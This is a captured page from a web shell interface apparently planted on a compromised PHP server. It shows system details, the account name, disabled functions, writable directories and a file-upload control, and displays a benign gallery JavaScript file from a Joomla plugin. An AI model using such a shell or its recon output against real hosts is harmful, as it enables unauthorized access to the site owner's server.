NexusLeads Webshell
NexusLeads


Server : LiteSpeed
System : Linux server 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : alsaif ( 1057)
PHP Version : 7.4.33
Disable Function : show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/alsaif/public_html/media/plg_system_nrframework/js/widgets/gallery/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alsaif/public_html/media/plg_system_nrframework/js/widgets/gallery/justified.js
var TF_Justified_Gallery=function(){function t(){this.init(),this.initEvents()}var e=t.prototype;return e.init=function(){var e=this;this.getGalleries().forEach(function(t){e.initGallery(t)})},e.initGallery=function(t){var e={itemSelector:".item:not(.tf-gallery-is-hidden)",transitionDuration:0,gutter:parseInt(window.getComputedStyle(t).gap)};t.parentElement.dataset.itemHeight&&(e.rowHeight=t.parentElement.dataset.itemHeight),fjGallery(t,e)},e.initEvents=function(){var e=this;document.addEventListener("click",function(t){e.onJustifiedFilteringTagsSelection(t)}),window.addEventListener("resize",function(t){e.updateGalleriesGap()},!0)},e.onJustifiedFilteringTagsSelection=function(t){var t=t.target.closest(".tf-gallery-tags--item");t&&(t=t.closest(".nrf-widget.tf-gallery-wrapper"))&&(t=t.querySelector(".gallery-items.justified"))&&(t.fjGallery.destroy(),this.initGallery(t))},e.updateGalleriesGap=function(){this.getGalleries().forEach(function(t){t.fjGallery&&t.fjGallery.updateOptions({gutter:parseInt(window.getComputedStyle(t).gap)})})},e.getGalleries=function(){return document.querySelectorAll(".gallery-items.justified")},t}();document.addEventListener("DOMContentLoaded",function(){new TF_Justified_Gallery});


NexusLeads